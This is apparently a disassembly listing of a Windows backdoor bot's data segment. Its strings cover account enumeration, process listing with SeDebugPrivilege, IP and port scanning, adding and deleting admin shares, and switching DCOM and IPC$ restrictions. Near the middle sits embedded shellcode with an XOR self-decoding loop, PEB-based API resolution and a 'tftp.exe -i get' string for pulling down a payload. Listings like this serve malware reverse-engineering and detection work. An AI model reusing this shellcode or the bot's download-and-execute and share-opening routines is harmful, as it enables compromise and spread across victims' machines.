aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41198B+2ECo
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41198B+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41198B+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41198B+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41198B+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41198B+21Eo
align 10h
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41198B+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41198B+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41198B+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41198B+178o
align 10h
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41198B+14Do
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41198B+125o
aGuest db 'Guest',0 ; DATA XREF: sub_41198B:loc_411AA4o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_41198B:loc_411A9Do
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41198B+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41198B+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41198B+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41198B+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_411D59+14Fo
align 4
dword_42C3F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411D59+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_411D59+BEo
align 10h
dword_42C440 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_411D59+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_411D59+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_411ED9:loc_411FF6o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_411ED9:loc_411FEFo
align 10h
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_411ED9:loc_411FE8o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411FE1o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_411ED9:loc_411FDAo
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_411ED9:loc_411FBDo
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_411ED9:loc_411FB6o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_411ED9:loc_411FAFo
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_411ED9+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_411ED9:loc_411F84o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F7Do
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_411ED9:loc_411F76o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_411ED9:loc_411F6Co
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_411ED9+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_411ED9:loc_411F46o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_411ED9:loc_411F3Co
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_411ED9:loc_411F32o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_411ED9:loc_411F28o
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_411ED9:loc_411F1Eo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_411ED9+3Bo
align 4
dword_42C75C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:004120B8o
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_42C798 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: seg000:0041208Eo
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_412136+120o
align 10h
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_412136+5Ao
; sub_412136+19Eo
align 4
dword_42C7F4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_4122E7:loc_41236Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_42C82C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_4122E7+80o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_42C868 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_4122E7+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 4
dd 0
dword_42C8AC dd 1 off_42C8B0 dd offset sub_41242C ; DATA XREF: sub_412797+49r
aLetter db 'letter',0
align 10h
dd 2, 41248Ah, 706D6F63h, 2 dup(0)
dd 3, 4124D7h, 6E756F63h, 797274h, 0
dd 4, 412575h, 736Fh, 2 dup(0)
dd 5, 4125EAh
dword_42C904 dd 69257325h, 0 ; seg000:00412556o ...
dword_42C90C dd 4350h dword_42C910 dd 7C7325h ; sub_412797+39o
dword_42C914 dd 5D73255Bh, 7Chdword_42C91C dd 334B32h dword_42C920 dd 5D64255Bh, 7325hdword_42C928 dd 5D4D5Bh ; sub_4126F4+57o
unk_42C92C db 2 ; DATA XREF: sub_412800+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_42C968 db 2 ; DATA XREF: sub_4128CD+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_42C9A8 dd offset dword_42C9E0 ; DATA XREF: sub_412A1E+1B3o
; sub_412D42+17Ao
align 10h
dd offset dword_42C9D8
align 8
off_42C9B8 dd offset dword_42C9D4 ; DATA XREF: sub_412D42+1E3o
dd offset dword_42C9D0
dd offset dword_42C9CC
dd offset dword_42C9C8
dword_42C9C8 dd 5C3A44h ; seg002:0042C9C4o
dword_42C9CC dd 2444h dword_42C9D0 dd 5C3A43h dword_42C9D4 dd 2443h dword_42C9D8 dd 494D4441h, 244Ehdword_42C9E0 dd 24435049h, 0 unk_42C9E8 db 2 ; DATA XREF: sub_412A1E+2E5o
; sub_412D42+2D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_42CA2C db 2 ; DATA XREF: sub_412A1E+2CFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_42CA68 db 2 ; DATA XREF: sub_412A1E:loc_412C80o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_42CAA8 db 2 ; DATA XREF: sub_412A1E+25Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_42CAE0 db 2 ; DATA XREF: sub_412A1E:loc_412BEDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_42CB20 db 2 ; DATA XREF: sub_412A1E+1C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_42CB58 db 2 ; DATA XREF: sub_412A1E:loc_412B50o
; sub_412D42:loc_412E70o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_42CB9C db 2 ; DATA XREF: sub_412A1E:loc_412B49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_42CBEC db 2 ; DATA XREF: sub_412A1E:loc_412B2Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_42CC34 db 2 ; DATA XREF: sub_412A1E+106o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_412A1E+EDo
; sub_412D42+EDo
align 4
unk_42CC98 db 2 ; DATA XREF: sub_412A1E+91o
; sub_412D42+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_42CCDC dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_412A1E:loc_412A8Bo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_42CD0C db 2 ; DATA XREF: sub_412A1E+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_412A1E+54o
; sub_412D42+54o
align 10h
word_42CD50 dw 4Eh ; DATA XREF: sub_412A1E+38r
align 4
unk_42CD54 db 2 ; DATA XREF: sub_412D42+2C0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC db '%c:\',0 ; DATA XREF: sub_412D42+22Ao
align 4
aC_0 db '%c$',0 ; DATA XREF: sub_412D42+219o
unk_42CD98 db 2 ; DATA XREF: sub_412D42:loc_412EE1o
; sub_412D42:loc_412FAFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_42CDD4 db 2 ; DATA XREF: sub_412D42+198o
; sub_412D42+266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_42CE08 db 2 ; DATA XREF: sub_412D42:loc_412E69o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_42CE58 db 2 ; DATA XREF: sub_412D42:loc_412E4Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_42CEA0 db 2 ; DATA XREF: sub_412D42+102o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_42CEF0 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_412D42:loc_412DAFo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_42CF20 db 2 ; DATA XREF: sub_412D42+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_42CF58 dw 59h ; DATA XREF: sub_412D42+38r
align 4
jmp short loc_42CF60
; ---------------------------------------------------------------------------
loc_42CF5E: ; CODE XREF: seg002:loc_42CF60p
jmp short loc_42CF65
; ---------------------------------------------------------------------------
loc_42CF60: ; CODE XREF: seg002:0042CF5Cj
call loc_42CF5E
loc_42CF65: ; CODE XREF: seg002:loc_42CF5Ej
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_42CF6C: ; CODE XREF: seg002:0042CF71j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_42CF6C
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_42CF82: ; CODE XREF: seg002:0042CF87j
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_42CF82
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_42D024
jnz short loc_42D010
retn
; ---------------------------------------------------------------------------
loc_42D010: ; CODE XREF: seg002:0042D00Dj
; seg002:0042D01Dj
call loc_42D016
; ---------------------------------------------------------------------------
align 2
loc_42D016: ; CODE XREF: seg002:loc_42D010j
push 0
call sub_42D024
jz loc_42D010
retn
; =============== S U B R O U T I N E =======================================
sub_42D024 proc near ; CODE XREF: seg002:0042D008p
; seg002:0042D018p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_42D024 endp
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_4132E7+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4132E7+35o
dword_42D0A0 dd 1 align 10h
dword_42D0B0 dd 173Fh dd 9875h, 9873h
off_42D0BC dd offset sub_413FD1 ; DATA XREF: sub_41588Ar
dd offset nullsub_2
dd offset nullsub_2
dword_42D0C8 dd 1B3Fh dword_42D0CC dd 19930520h, 4 dup(0) ; sub_4144D6+2o
off_42D0E0 dd offset sub_4158C8 ; DATA XREF: sub_415C7E+1Cr
dword_42D0E4 dd 2 ; sub_41AFA9+46r ...
off_42D0E8 dd offset aNull_0 ; DATA XREF: sub_415DDC:loc_416140r
; sub_415DDC+457r
; "(null)"
off_42D0EC dd offset aNull ; DATA XREF: sub_415DDC+259r
; "(null)"
off_42D0F0 dd offset word_42D0FA ; DATA XREF: sub_413A94+23r
; sub_413A94:loc_413AF5r ...
dd offset word_42D0FA
db 2 dup(0)
word_42D0FA dw 20h ; DATA XREF: sub_41C74D+18r
; seg002:off_42D0F0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42D2FC dd 1 ; sub_413A94:loc_413AE0r ...
byte_42D300 db 2Eh ; DATA XREF: sub_417FA8:loc_417FE8r
; seg000:00418006r ...
align 4
dd 1, 10h
dword_42D30C dd 3F8h ; sub_41556F+4Dr ...
dword_42D310 dd 14h off_42D314 dd offset aExp ; DATA XREF: sub_417CF1:loc_417D0Er
; "exp"
dd 1Dh, 41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h
dd 13h, 41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h
dd 0Fh, 41F760h, 10h, 41F758h, 5, 41F750h, 1Eh, 41F74Ch
dd 12h, 41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h
dd 15h, 41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h
dd 18h, 41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h
dd 23h, 41F6F4h, 24h, 41F6F0h
dbl_42D3E8 dq 1.797693134862316e308 ; DATA XREF: sub_417A2C+B7r
; sub_417A2C:loc_417B13r ...
dd 0
dd 0FFF80000h
dbl_42D3F8 dq 1.797693134862316e308 ; DATA XREF: sub_417A2C+92r
; sub_417A2C:loc_417AEBr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_42D410 dt 2.3562723457267347066e313 ; DATA XREF: sub_417ED9+Dr
; sub_417ED9+1Fr
align 4
tbyte_42D41C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417ED9+31r
align 4
off_42D428 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+Fw
; sub_415DDC+3AAr
off_42D42C dd offset sub_41BF89 ; DATA XREF: sub_413FE9+5w
; sub_415DDC+3E2r
off_42D430 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+14w
; sub_418DCD+430r
off_42D434 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+1Ew
; sub_415DDC+3CBr
off_42D438 dd offset sub_41BF89 ; DATA XREF: sub_413FE9+28w
off_42D43C dd offset sub_41BF89 ; DATA XREF: sub_413FE9+32w
dd offset sub_41BF92
align 10h
dd offset sub_418C2C
off_42D454 dd offset sub_418C2C ; DATA XREF: sub_418C82+29r
dword_42D458 dd 0D2D0920h, 5Dhdword_42D460 dd 5Dh, 0 byte_42D468 db 1 ; DATA XREF: seg000:0041A131r
db 2, 4, 8
align 10h
dword_42D470 dd 3A4h dword_42D474 dd 82798260h, 21h, 0dword_42D480 dd 0DFA6h align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42D560 dd 1 ; sub_41A667+Co
dword_42D564 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42D6C8 dd 0C0000005h ; sub_41A80F+Ar ...
dword_42D6CC dd 0Bh dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_42D740 dd 3 ; sub_41D327+C8r
dword_42D744 dd 7 ; sub_41D327+CDr
dword_42D748 dd 0Ah ; sub_41D454+4r
dword_42D74C dd 8Ch ; sub_41A6CE+8Fw ...
dword_42D750 dd 0FFFFFFFFh, 0A00h ; sub_419940:loc_4199C1o
dword_42D758 dd 2 ; sub_41AFA9+28r
off_42D75C dd offset aR6002FloatingP ; DATA XREF: sub_41AFA9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41FABCh, 9, 41FA90h, 0Ah, 41FA6Ch, 10h, 41FA40h
dd 11h, 41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h
dd 19h, 41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h
dd 78h, 41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 422D68h
dd 0FFh, 41F888h
off_42D7E8 dd offset dword_45EB00 ; DATA XREF: sub_41AFA9+1Bo
; sub_41B166+55o
dd 0
dd offset dword_45EB00
dd 101h
dword_42D7F8 dd 2 dup(0) dd 1000h, 0
dword_42D808 dd 3 dup(0) ; sub_416846+12o
dd 2, 1, 3 dup(0)
dword_42D828 dd 3 dup(0) ; sub_416846:loc_416864o
dd 2 dup(2), 7 dup(0)
dword_42D858 dd 84h dup(0) dword_42DA68 dd 2694h ; sub_4176E1+46r ...
align 10h
dword_42DA70 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42DA88 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42DAA0 dd 7080h ; sub_41C1F2+5Ew ...
dword_42DAA4 dd 1 ; sub_41C1F2+8Bw ...
dword_42DAA8 dd 0FFFFF1F0h ; sub_41C1F2+94w ...
dword_42DAAC dd 545350h, 0Fh dup(0)dword_42DAEC dd 544450h, 0Fh dup(0)off_42DB2C dd offset dword_42DAAC ; DATA XREF: sub_41C1F2+BAr
; sub_41C1F2+D9r ...
off_42DB30 dd offset dword_42DAEC ; DATA XREF: sub_41C1F2+F4r
; sub_41C1F2+11Br ...
align 8
dword_42DB38 dd 0FFFFFFFFh ; sub_41C450+1Er ...
dword_42DB3C dd 0 ; sub_41C5FC+BFw
dword_42DB40 dd 0 ; sub_41C5FC+E0w
align 8
dword_42DB48 dd 0FFFFFFFFh ; sub_41C450+26r ...
dword_42DB4C dd 0 ; sub_41C5FC+EAw ...
dword_42DB50 dd 0 ; sub_41C5FC+23r ...
dword_42DB54 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_42DB84 dd 16Dh ; sub_41C5FC+2Er ...
dword_42DB88 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_42DBC0 dd 2 dup(0) dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
